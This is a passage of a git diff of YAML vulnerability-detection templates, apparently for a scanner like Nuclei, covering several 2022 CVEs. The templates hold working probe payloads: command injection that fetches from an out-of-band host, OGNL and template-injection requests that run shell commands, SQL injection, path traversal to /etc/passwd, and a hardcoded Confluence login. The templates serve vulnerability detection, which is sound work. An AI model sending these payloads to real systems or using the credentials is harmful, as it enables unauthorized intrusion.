/wp-admin/admin-ajax.php?action=dprv_log_event&message=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1 Host: {{Hostname}} - matchers-condition: and matchers: - type: word @@ -41,13 +30,10 @@ http: words: - "got message " condition: and - - type: word part: header words: - text/html - - type: status status: - 200 -# digest: 490a004630440220539afbbb7614f275ea3ae0955d4842736b84b10b31a701ac19280010ee2b325502207c3678066304e38f0cf78ae062687de6aa22f6debfdb08a174a3e42831626f0c:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-1946.yaml b/poc/cve/CVE-2022-1946.yaml index ab8a8bdb37..e2de7131b8 100644 --- a/poc/cve/CVE-2022-1946.yaml +++ b/poc/cve/CVE-2022-1946.yaml @@ -1,51 +1,36 @@ id: CVE-2022-1946 - info: - name: WordPress Gallery <2.0.0 - Cross-Site Scripting + name: Gallery < 2.0.0 - Reflected Cross-Site Scripting author: Akincibor severity: medium - description: WordPress Gallery plugin before 2.0.0 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape a parameter before outputting it back in the response of an AJAX action, available to both unauthenticated and authenticated users. - remediation: | - Update the WordPress Gallery plugin to version 2.0.0 or later to mitigate the vulnerability. + description: The plugin does not sanitise and escape a parameter before outputting it back in the response of an AJAX action (available to both unauthenticated and authenticated users), leading to a Reflected Cross-Site Scripting issue. reference: - https://wpscan.com/vulnerability/0903920c-be2e-4515-901f-87253eb30940 - https://wordpress.org/plugins/gallery-album - - https://nvd.nist.gov/vuln/detail/CVE-2022-1946 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1946 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-1946 cwe-id: CWE-79 - epss-score: 0.00097 - epss-percentile: 0.40336 - cpe: cpe:2.3:a:wpdevart:gallery:*:*:*:*:*:wordpress:*:* metadata: - verified: true - max-request: 1 - vendor: wpdevart - product: gallery - framework: wordpress - google-query: inurl:"/wp-content/plugins/gallery-album/" - tags: wpscan,cve2022,wp,xss,wordpress,gallery,unauth,cve,wp-plugin - -http: + google-dork: inurl:"/wp-content/plugins/gallery-album/" + verified: "true" + tags: cve,cve2022,wp-plugin,xss,wp,wordpress,gallery,unauth +requests: - method: GET path: - '{{BaseURL}}/wp-admin/admin-ajax.php?action=wpda_gall_load_image_info&start=0&limit=1&gallery_current_index=' - matchers-condition: and matchers: - type: word part: body words: - 'wpdevar_gall_img_url_h[]' - - type: word part: header words: - text/html - - type: status status: - 200 -# digest: 4a0a00473045022044c2ed2d68469331657c2592931fc49867a46376a400dcc0def83786a71ff1b2022100be5edfe7bb1dd2cc53415e31b65ef97898bd6d3604edb56b3ca4359362881435:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-21705.yaml b/poc/cve/CVE-2022-21705.yaml index 9593590558..d48170c9cf 100644 --- a/poc/cve/CVE-2022-21705.yaml +++ b/poc/cve/CVE-2022-21705.yaml @@ -1,33 +1,23 @@ id: CVE-2022-21705 - info: - name: October CMS - Remote Code Execution + name: OctoberCMS Authenticated Remote Code Execution author: iPhantasmic severity: high description: | - October CMS is susceptible to remote code execution. In affected versions, user input is not properly sanitized before rendering. An authenticated user with the permissions to create, modify, and delete website pages can bypass cms.safe_mode and cms.enableSafeMode in order to execute arbitrary code. This affects admin panels that rely on safe mode and restricted permissions. + Octobercms is a self-hosted CMS platform based on the Laravel PHP Framework. In affected versions user input was not properly sanitized before rendering. An authenticated user with the permissions to create, modify and delete website pages can exploit this vulnerability to bypass `cms.safe_mode` / `cms.enableSafeMode` in order to execute arbitrary code. This issue only affects admin panels that rely on safe mode and restricted permissions. To exploit this vulnerability, an attacker must first have access to the backend area. remediation: | - The issue has been patched in Build 474 (1.0.474) and 1.1.10. Users unable to upgrade should apply https://github.com/octobercms/library/commit/c393c5ce9ca2c5acc3ed6c9bb0dab5ffd61965fe manually to installation. + The issue has been patched in Build 474 (v1.0.474) and v1.1.10. Users unable to upgrade should apply https://github.com/octobercms/library/commit/c393c5ce9ca2c5acc3ed6c9bb0dab5ffd61965fe to your installation manually. reference: - https://github.com/octobercms/library/commit/c393c5ce9ca2c5acc3ed6c9bb0dab5ffd61965fe - https://github.com/octobercms/october/security/advisories/GHSA-79jw-2f46-wv22 - https://cyllective.com/blog/post/octobercms-cve-2022-21705/ - - https://nvd.nist.gov/vuln/detail/CVE-2022-21705 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H cvss-score: 7.2 cve-id: CVE-2022-21705 - cwe-id: CWE-74,NVD-CWE-Other - epss-score: 0.00522 - epss-percentile: 0.74238 - cpe: cpe:2.3:a:octobercms:october:*:*:*:*:*:*:*:* - metadata: - max-request: 5 - vendor: octobercms - product: october + cwe-id: CWE-74 tags: cve,cve2022,authenticated,rce,cms,octobercms,injection - -http: +requests: - raw: - | # to obtain session_key and token GET /backend/backend/auth/signin HTTP/1.1 @@ -65,49 +55,40 @@ http: X-Requested-With: XMLHttpRequest _session_key={{session_key}}&_token={{token}}&search=&{{theme}}=demo&type=page&path={{randstr}}.htm - - matchers-condition: and - matchers: - - type: word - part: body - words: - - 'function onInit()' - - 'phpinfo()' - - 'Safe mode is currently enabled. Editing the PHP code of CMS templates is disabled. To disable safe mode, set the `cms.enableSafeMode` configuration value to `false`.' - condition: and - - # if exploit executes, phpinfo() should now be exposed at the /{{randstr}} endpoint, even though Safe mode is enabled - - - type: status - status: - - 200 - + cookie-reuse: true extractors: - type: xpath name: session_key - internal: true + attribute: value xpath: - "/html/body/div[1]/div/div[2]/div/div/form/input[1]" - attribute: value - - # Obtain _session_key for current OctoberCMS session - + internal: true + # Obtain _session_key for current OctoberCMS session - type: xpath name: token - internal: true + attribute: value xpath: - "/html/body/div[1]/div/div[2]/div/div/form/input[2]" - attribute: value - - # Obtain _token for current OctoberCMS session - + internal: true + # Obtain _token for current OctoberCMS session - type: regex name: theme + part: body group: 1 regex: - '' + matchers-condition: and matchers: - type: word @@ -27,10 +40,13 @@ requests: - "" - "Contact Form 7" condition: and + - type: word part: header words: - text/html + - type: status status: - 200 +# digest: 4a0a00473045022100f145e5739cd27980072ebec895fee4de42c05ea932a35b605cc185b4b988098e0220731f2a16fae46104c75bb03a03567449ac32c11f85f09e384265a890b30f7794:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-22954.yaml b/poc/cve/CVE-2022-22954.yaml index 4631213e31..d6b04ecec5 100644 --- a/poc/cve/CVE-2022-22954.yaml +++ b/poc/cve/CVE-2022-22954.yaml @@ -1,10 +1,13 @@ id: CVE-2022-22954 + info: name: VMware Workspace ONE Access - Server-Side Template Injection author: sherlocksecurity severity: critical description: | VMware Workspace ONE Access is susceptible to a remote code execution vulnerability due to a server-side template injection flaw. An unauthenticated attacker with network access could exploit this vulnerability by sending a specially crafted request to a vulnerable VMware Workspace ONE or Identity Manager. + remediation: | + Apply the latest security patches provided by VMware to mitigate this vulnerability. reference: - https://www.tenable.com/blog/vmware-patches-multiple-vulnerabilities-in-workspace-one-vmsa-2022-0011 - https://www.vmware.com/security/advisories/VMSA-2022-0011.html @@ -15,21 +18,29 @@ info: cvss-score: 9.8 cve-id: CVE-2022-22954 cwe-id: CWE-94 + epss-score: 0.97361 + epss-percentile: 0.99881 + cpe: cpe:2.3:a:vmware:identity_manager:3.3.3:*:*:*:*:*:*:* metadata: + max-request: 1 + vendor: vmware + product: identity_manager shodan-query: http.favicon.hash:-1250474341 - tags: cve,cve2022,vmware,ssti,workspaceone -requests: + tags: workspaceone,kev,tenable,packetstorm,cve,cve2022,vmware,ssti + +http: - method: GET path: - - "{{BaseURL}}/catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%68%6f%73%74%73%22%29%7d" # Executes cat /etc/hosts + - "{{BaseURL}}/catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%68%6f%73%74%73%22%29%7d" + matchers-condition: and matchers: - type: word part: body words: - "Authorization context is not valid" + - type: status status: - 400 - -# Enhanced by mp on 2022/05/19 +# digest: 4b0a00483046022100c48da4fb03d0cef4bca4e5a75402ff222c53bffe49ec8a3ecf5f9432e864cd5402210085509296efce2b1e5e9190a93e024ef0e9b51fc4d29826be40c1a86cb33b9621:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-22963.yaml b/poc/cve/CVE-2022-22963.yaml index 03722e4517..c186597c73 100644 --- a/poc/cve/CVE-2022-22963.yaml +++ b/poc/cve/CVE-2022-22963.yaml @@ -1,27 +1,44 @@ id: CVE-2022-22963 info: - name: Spring Cloud Function SPEL RCE + name: Spring Cloud - Remote Code Execution author: Mr-xn,Adam Crosser severity: critical + description: | + Spring Cloud Function versions 3.1.6, 3.2.2 and older unsupported versions are susceptible to remote code execution vulnerabilities. When using routing functionality it is possible for a user to provide a specially crafted SpEL as a routing-expression that may result in remote code execution and access to local resources. + remediation: | + Apply the latest security patches provided by the Spring Cloud project to mitigate this vulnerability. reference: - https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f - https://github.com/cckuailong/spring-cloud-function-SpEL-RCE - https://tanzu.vmware.com/security/cve-2022-22963 - https://nsfocusglobal.com/spring-cloud-function-spel-expression-injection-vulnerability-alert/ - https://github.com/vulhub/vulhub/tree/scf-spel/spring/spring-cloud-function-spel-injection + - https://nvd.nist.gov/vuln/detail/CVE-2022-22963 classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 cve-id: CVE-2022-22963 - tags: cve,cve2022,springcloud,rce + cwe-id: CWE-917,CWE-94 + epss-score: 0.97523 + epss-percentile: 0.99988 + cpe: cpe:2.3:a:vmware:spring_cloud_function:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: vmware + product: spring_cloud_function + tags: vulhub,cve,cve2022,springcloud,rce,kev -requests: +http: - raw: - | POST /functionRouter HTTP/1.1 Host: {{Hostname}} spring.cloud.function.routing-expression: T(java.net.InetAddress).getByName("{{interactsh-url}}") Content-Type: application/x-www-form-urlencoded + {{rand_base(8)}} + matchers-condition: and matchers: - type: word @@ -33,4 +50,6 @@ requests: - type: status status: - - 500 \ No newline at end of file + - 500 + +# digest: 4a0a00473045022100ead696731784e389fe548d760f989955b0664a430d8950f1d60d2ef3c647da7302203596e0ff115b3d2546bf2d7a56a580f182b777ed3dec7752cf040be0c6e55146:922c64590222798bb761d5b6d8e72950 diff --git a/poc/cve/CVE-2022-23178.yaml b/poc/cve/CVE-2022-23178.yaml index 8d54660f72..7574652dd5 100644 --- a/poc/cve/CVE-2022-23178.yaml +++ b/poc/cve/CVE-2022-23178.yaml @@ -1,12 +1,9 @@ id: CVE-2022-23178 - info: name: Crestron Device - Credentials Disclosure author: gy741 severity: critical description: An issue was discovered on Crestron HD-MD4X2-4K-E 1.0.0.2159 devices. When the administrative web interface of the HDMI switcher is accessed unauthenticated, user credentials are disclosed that are valid to authenticate to the web interface. Specifically, aj.html sends a JSON document with uname and upassword fields. - remediation: | - Update the Crestron Device firmware to the latest version to mitigate the vulnerability. reference: - https://www.redteam-pentesting.de/en/advisories/rt-sa-2021-009/-credential-disclosure-in-web-interface-of-crestron-device - https://nvd.nist.gov/vuln/detail/CVE-2022-23178 @@ -17,22 +14,16 @@ info: cvss-score: 9.8 cve-id: CVE-2022-23178 cwe-id: CWE-287 - epss-score: 0.03228 - epss-percentile: 0.90173 - cpe: cpe:2.3:o:crestron:hd-md4x2-4k-e_firmware:1.0.0.2159:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: crestron - product: hd-md4x2-4k-e_firmware tags: cve,cve2022,crestron,disclosure - -http: +requests: - method: GET path: - "{{BaseURL}}/aj.html?a=devi" - matchers-condition: and matchers: + - type: status + status: + - 200 - type: word part: body words: @@ -40,8 +31,4 @@ http: - '"upassword":' condition: and - - type: status - status: - - 200 - -# digest: 490a00463044022012558b09090c7fac45df6a9c43d5db7c7bd5d3bef48e0e790f452fca0b79580f0220793a278db39a785cfbd8b7cd81f933b777fd6acdad49c90014c64eed928e0ec6:922c64590222798bb761d5b6d8e72950 +# Enhanced by mp on 2022/02/28 diff --git a/poc/cve/CVE-2022-24124.yaml b/poc/cve/CVE-2022-24124.yaml index 6317f902c2..7dc16c6eb4 100644 --- a/poc/cve/CVE-2022-24124.yaml +++ b/poc/cve/CVE-2022-24124.yaml @@ -1,27 +1,38 @@ id: CVE-2022-24124 + info: name: Casdoor 1.13.0 - Unauthenticated SQL Injection author: cckuailong severity: high description: Casdoor version 1.13.0 suffers from a remote unauthenticated SQL injection vulnerability via the query API in Casdoor before 1.13.1 related to the field and value parameters, as demonstrated by api/get-organizations. + remediation: | + Upgrade to a patched version of Casdoor or apply the necessary security patches to mitigate the SQL injection vulnerability. reference: - https://packetstormsecurity.com/files/166163/Casdoor-1.13.0-SQL-Injection.html - https://www.exploit-db.com/exploits/50792 - https://github.com/cckuailong/reapoc/tree/main/2022/CVE-2022-24124/vultarget - https://nvd.nist.gov/vuln/detail/CVE-2022-24124 + - https://github.com/casdoor/casdoor/compare/v1.13.0...v1.13.1 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2022-24124 cwe-id: CWE-89 + epss-score: 0.01649 + epss-percentile: 0.86169 + cpe: cpe:2.3:a:casbin:casdoor:*:*:*:*:*:*:*:* metadata: - product: https://casdoor.org/ + max-request: 1 + vendor: casbin + product: "casdoor" shodan-query: http.title:"Casdoor" - tags: cve,cve2022,casdoor,sqli,unauth -requests: + tags: sqli,unauth,packetstorm,edb,cve,cve2022,casdoor + +http: - method: GET path: - "{{BaseURL}}/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(1,version(),1)" + matchers-condition: and matchers: - type: regex @@ -30,8 +41,8 @@ requests: - "XPATH syntax error.*'" - "casdoor" condition: and + - type: status status: - 200 - -# Enhanced by mp on 2022/03/08 +# digest: 4b0a0048304602210088010aa91b120385c1ed651d389c125a0bbefcb8589bdd8c7d4c5edbc945ddc302210096e91265e91d18a7b30c937acc5935fdc61c4b67071cf01d1a0af7db418b3865:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-24856.yaml b/poc/cve/CVE-2022-24856.yaml index 950815b454..0bf893b39e 100644 --- a/poc/cve/CVE-2022-24856.yaml +++ b/poc/cve/CVE-2022-24856.yaml @@ -1,40 +1,30 @@ id: CVE-2022-24856 - info: name: Flyte Console <0.52.0 - Server-Side Request Forgery author: pdteam severity: high description: | FlyteConsole is the web user interface for the Flyte platform. FlyteConsole prior to version 0.52.0 is vulnerable to server-side request forgery when FlyteConsole is open to the general internet. An attacker can exploit any user of a vulnerable instance to access the internal metadata server or other unauthenticated URLs. Passing of headers to an unauthorized actor may occur. - remediation: | - The patch for this issue deletes the entire cors_proxy, as this is no longer required for the console. A patch is available in FlyteConsole version 0.52.0, or as a work-around disable FlyteConsole. reference: - https://github.com/flyteorg/flyteconsole/security/advisories/GHSA-www6-hf2v-v9m9 - https://github.com/flyteorg/flyteconsole/pull/389 - https://hackerone.com/reports/1540906 - https://nvd.nist.gov/vuln/detail/CVE-2022-24856 - - https://github.com/flyteorg/flyteconsole/commit/05b88ed2d2ecdb5d8a8404efea25414e57189709 + remediation: | + The patch for this issue deletes the entire cors_proxy, as this is no longer required for the console. A patch is available in FlyteConsole version 0.52.0, or as a work-around disable FlyteConsole. classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2022-24856 cwe-id: CWE-918 - epss-score: 0.05657 - epss-percentile: 0.92503 - cpe: cpe:2.3:a:flyte:flyte_console:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: flyte - product: flyte_console - tags: cve,cve2022,flyteconsole,ssrf,oss,hackerone - -http: + tags: cve,cve2022,flyteconsole,ssrf,oss +requests: - method: GET path: - - "{{BaseURL}}/cors_proxy/https://oast.me/" - + - "{{BaseURL}}/cors_proxy/https://www.interact.sh" matchers: - type: word words: - "Interactsh Server" -# digest: 4a0a00473045022100feb75fb7323a4751892090c50538ed5bb63630a17ee1884ed8d9449b3a29896702200555d9a9a5e4400268ab16a1d2632ee4cd9759269c4834937a5197bbc2b1c7bc:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by mp on 2022/06/29 diff --git a/poc/cve/CVE-2022-2488.yaml b/poc/cve/CVE-2022-2488.yaml index 6b85cf34b7..5c0bb7ac8b 100644 --- a/poc/cve/CVE-2022-2488.yaml +++ b/poc/cve/CVE-2022-2488.yaml @@ -1,49 +1,34 @@ id: CVE-2022-2488 - info: - name: Wavlink WN535K2/WN535K3 - OS Command Injection + name: Wavlink Touchlist_sync.cgi - Remote Code Execution author: For3stCo1d severity: critical description: | - Wavlink WN535K2 and WN535K3 routers are susceptible to OS command injection in /cgi-bin/touchlist_sync.cgi via manipulation of the argument IP. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. - remediation: | - Apply the latest firmware update provided by the vendor to mitigate this vulnerability. + A vulnerability was found in WAVLINK WN535K2 and WN535K3 and classified as critical. This issue affects some unknown processing of the file /cgi-bin/touchlist_sync.cgi. The manipulation of the argument IP leads to os command injection. The exploit has been disclosed to the public and may be used. reference: - https://github.com/1angx/webray.com.cn/blob/main/Wavlink/Wavlink%20touchlist_sync.cgi.md - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2488 - https://vuldb.com/?id.204539 - - https://nvd.nist.gov/vuln/detail/CVE-2022-2488 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-2488 cwe-id: CWE-78 - epss-score: 0.97408 - epss-percentile: 0.99911 - cpe: cpe:2.3:o:wavlink:wl-wn535k2_firmware:-:*:*:*:*:*:*:* metadata: - verified: true - max-request: 1 - vendor: wavlink - product: wl-wn535k2_firmware shodan-query: http.title:"Wi-Fi APP Login" + verified: "true" tags: cve,cve2022,iot,wavlink,router,rce,oast - -http: +requests: - raw: - | GET /cgi-bin/touchlist_sync.cgi?IP=;wget+http://{{interactsh-url}}; HTTP/1.1 Host: {{Hostname}} - matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "http" - - type: status status: - 500 - -# digest: 4b0a00483046022100c0ff4e6c4ee84c552fe53b20504fd88bebd2f81f0f2665ac1ff20266af68cc2e022100811eb4c12b59a602809aaacd0838c53c9011bc3f9fae8405297d7a38093555d1:922c64590222798bb761d5b6d8e72950 diff --git a/poc/cve/CVE-2022-24900.yaml b/poc/cve/CVE-2022-24900.yaml index 207021247d..9f2945210d 100644 --- a/poc/cve/CVE-2022-24900.yaml +++ b/poc/cve/CVE-2022-24900.yaml @@ -1,45 +1,33 @@ id: CVE-2022-24900 - info: name: Piano LED Visualizer 1.3 - Local File Inclusion author: 0x_Akoko severity: high description: | Piano LED Visualizer 1.3 and prior are vulnerable to local file inclusion. - remediation: | - Apply the latest patch or update provided by the vendor to fix the local file inclusion vulnerability in the Piano LED Visualizer 1.3 application. reference: - https://github.com/onlaj/Piano-LED-Visualizer/issues/350 - https://vuldb.com/?id.198714 - - https://nvd.nist.gov/vuln/detail/CVE-2022-24900 + - https://www.cvedetails.com/cve/CVE-2022-24900/ - https://github.com/onlaj/Piano-LED-Visualizer/commit/3f10602323cd8184e1c69a76b815655597bf0ee5 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N cvss-score: 8.6 cve-id: CVE-2022-24900 - cwe-id: CWE-668,CWE-22 - epss-score: 0.01206 - epss-percentile: 0.83642 - cpe: cpe:2.3:a:piano_led_visualizer_project:piano_led_visualizer:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: piano_led_visualizer_project - product: piano_led_visualizer + cwe-id: CWE-610 tags: cve,cve2022,lfi,piano,iot,oss - -http: +requests: - method: GET path: - "{{BaseURL}}/api/change_setting?second_value=no_reload&disable_sequence=true&value=../../../../../../../etc/passwd" - matchers-condition: and matchers: - type: regex part: body regex: - "root:.*:0:0:" - - type: status status: - 200 -# digest: 4a0a004730450221009f91465c1fc0efc5add8d3e8f3a4ced879155c1152c61138b39863d9385713ed022053c93fbbbbf2c77f5ea187ba27e11861657cd5a221893cb328f7cc5b69d23cca:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by mp on 2022/06/29 diff --git a/poc/cve/CVE-2022-25216.yaml b/poc/cve/CVE-2022-25216.yaml index 630944e895..50f2ae7a90 100644 --- a/poc/cve/CVE-2022-25216.yaml +++ b/poc/cve/CVE-2022-25216.yaml @@ -1,22 +1,34 @@ id: CVE-2022-25216 + info: - name: DVDFab 12 Player/PlayerFab - Arbitrary File Read + name: DVDFab 12 Player/PlayerFab - Local File Inclusion author: 0x_Akoko severity: high - description: An absolute path traversal vulnerability allows a remote attacker to download any file on the Windows file system for which the user account running DVDFab 12 Player (recently renamed PlayerFab) has read-access + description: DVDFab 12 Player/PlayerFab is susceptible to local file inclusion which allows a remote attacker to download any file on the Windows file system for which the user account running DVDFab 12 Player (recently renamed PlayerFab) has read-access. + remediation: | + Apply the latest patch or update from the vendor to fix the vulnerability. reference: - https://www.tenable.com/security/research/tra-2022-07 - - https://www.cvedetails.com/cve/CVE-2022-25216 + - https://nvd.nist.gov/vuln/detail/CVE-2022-25216 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2022-25216 cwe-id: CWE-22 - tags: cve,cve2022,dvdFab,lfi,lfr -requests: + epss-score: 0.01312 + epss-percentile: 0.84409 + cpe: cpe:2.3:a:dvdfab:12_player:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: dvdfab + product: 12_player + tags: cve,cve2022,dvdFab,lfi,lfr,tenable + +http: - method: GET path: - "{{BaseURL}}/download/C%3a%2fwindows%2fsystem.ini" + matchers-condition: and matchers: - type: word @@ -26,6 +38,8 @@ requests: - "fonts" - "extensions" condition: and + - type: status status: - 200 +# digest: 4a0a004730450220674bdbb85954adb8c482d2c3fcd727a5db450720f8d7cb5afc37fe900de33dcf022100b11f436fb0f8d8ec2caf3ebe52f8598ce711dcbaaddd22b97e2564ae48aa90f9:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-26134.yaml b/poc/cve/CVE-2022-26134.yaml index 0f5e4c501b..0495a8c0a8 100644 --- a/poc/cve/CVE-2022-26134.yaml +++ b/poc/cve/CVE-2022-26134.yaml @@ -1,45 +1,59 @@ id: CVE-2022-26134 + info: name: Confluence - Remote Code Execution author: pdteam,jbertman severity: critical description: | Confluence Server and Data Center is susceptible to an unauthenticated remote code execution vulnerability. + remediation: | + Apply the latest security patches or updates provided by Atlassian to mitigate this vulnerability. reference: - https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis - https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html - https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/ - https://jira.atlassian.com/browse/CONFSERVER-79016 + - http://packetstormsecurity.com/files/167431/Through-The-Wire-CVE-2022-26134-Confluence-Proof-Of-Concept.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-26134 - cwe-id: CWE-74 + cwe-id: CWE-917 + epss-score: 0.97519 + epss-percentile: 0.99985 + cpe: cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:* metadata: + verified: true + max-request: 2 + vendor: atlassian + product: confluence_data_center shodan-query: http.component:"Atlassian Confluence" - verified: "true" - tags: cve,cve2022,confluence,rce,ognl,oast,kev -requests: + tags: packetstorm,cve,cve2022,confluence,rce,ognl,oast,kev + +http: - method: GET path: - "{{BaseURL}}/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/" - "{{BaseURL}}/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22nslookup%20{{interactsh-url}}%22%29%7D/" + stop-at-first-match: true - req-condition: true + matchers-condition: or matchers: - type: dsl dsl: - - 'contains(to_lower(all_headers_1), "x-cmd-response:")' + - 'contains(to_lower(header_1), "x-cmd-response:")' + - type: dsl dsl: - 'contains(interactsh_protocol, "dns")' - 'contains(to_lower(response_2), "confluence")' condition: and + extractors: - type: kval - part: header kval: - "x_cmd_response" + part: header -# Enhanced by mp on 2022/07/04 +# digest: 4a0a00473045022006affa053c4fcae2976f75d20b0b62a4911ef7a3701f040771944778b3c395d2022100e564ab928fa74f0703e220834147d93af92f273d089e3125f6ec1e860c8f5567:922c64590222798bb761d5b6d8e72950 diff --git a/poc/cve/CVE-2022-26138.yaml b/poc/cve/CVE-2022-26138.yaml index 4c1b3f566f..4c560c8ea2 100644 --- a/poc/cve/CVE-2022-26138.yaml +++ b/poc/cve/CVE-2022-26138.yaml @@ -1,35 +1,21 @@ id: CVE-2022-26138 - info: - name: Atlassian Questions For Confluence - Hardcoded Credentials + name: Questions For Confluence - Hardcoded Credentials author: HTTPVoid severity: critical description: | - Atlassian Questions For Confluence contains a hardcoded credentials vulnerability. When installing versions 2.7.34, 2.7.35, and 3.0.2, a Confluence user account is created in the confluence-users group with the username disabledsystemuser and a hardcoded password. A remote, unauthenticated attacker with knowledge of the hardcoded password can exploit this vulnerability to log into Confluence and access all content accessible to users in the confluence-users group. - remediation: | - Update the Atlassian Questions For Confluence plugin to the latest version, which removes the hardcoded credentials. + A remote, unauthenticated attacker with knowledge of the hardcoded password could exploit this to log into Confluence and access all content accessible to users in the confluence-users group. reference: - https://twitter.com/fluepke/status/1549892089181257729 - https://confluence.atlassian.com/doc/questions-for-confluence-security-advisory-2022-07-20-1142446709.html - - https://confluence.atlassian.com/doc/confluence-security-advisory-2022-07-20-1142446709.html - https://nvd.nist.gov/vuln/detail/CVE-2022-26138 - - https://jira.atlassian.com/browse/CONFSERVER-79483 + - https://confluence.atlassian.com/doc/confluence-security-advisory-2022-07-20-1142446709.html classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 cve-id: CVE-2022-26138 - cwe-id: CWE-798 - epss-score: 0.96323 - epss-percentile: 0.99413 - cpe: cpe:2.3:a:atlassian:questions_for_confluence:2.7.34:*:*:*:*:*:*:* metadata: - max-request: 1 - vendor: atlassian - product: questions_for_confluence shodan-query: http.component:"Atlassian Confluence" - tags: cve,cve2022,confluence,atlassian,default-login,kev - -http: + tags: cve,cve2022,confluence,atlassian,default-login +requests: - raw: - | POST /dologin.action HTTP/1.1 @@ -37,15 +23,13 @@ http: Content-Type: application/x-www-form-urlencoded os_username={{os_username}}&os_password={{os_password}}&login=Log+in&os_destination=%2Fhttpvoid.action - + attack: pitchfork payloads: os_username: - disabledsystemuser os_password: - disabled1system1user6708 - attack: pitchfork matchers: - type: dsl dsl: - 'location == "/httpvoid.action"' -# digest: 4a0a0047304502205afe5490b2d663fca04bbeeb7fb55338236b2109dcf7ef6e6fd5b598d5caa696022100a62115b7c7d27f34f6ba2b0979668bcc6c13e5f9a8f468ba7239103aa04af462:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-26148.yaml b/poc/cve/CVE-2022-26148.yaml index 1fd97bcca8..770a6d6001 100644 --- a/poc/cve/CVE-2022-26148.yaml +++ b/poc/cve/CVE-2022-26148.yaml @@ -1,13 +1,10 @@ id: CVE-2022-26148 - info: - name: Grafana & Zabbix Integration - Credentials Disclosure + name: Grafana & Zabbix Integration - Credential Disclosure author: Geekby severity: critical description: | Grafana through 7.3.4, when integrated with Zabbix, contains a credential disclosure vulnerability. The Zabbix password can be found in the api_jsonrpc.php HTML source code. When the user logs in and allows the user to register, one can right click to view the source code and use Ctrl-F to search for password in api_jsonrpc.php to discover the Zabbix account password and URL address. - remediation: | - Update to the latest version of the Grafana & Zabbix Integration plugin to fix the vulnerability. reference: - https://2k8.org/post-319.html - https://security.netapp.com/advisory/ntap-20220425-0005/ @@ -16,25 +13,22 @@ info: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-26148 - cwe-id: CWE-312 - epss-score: 0.15727 - epss-percentile: 0.95382 - cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:* metadata: - max-request: 1 - vendor: grafana - product: grafana - 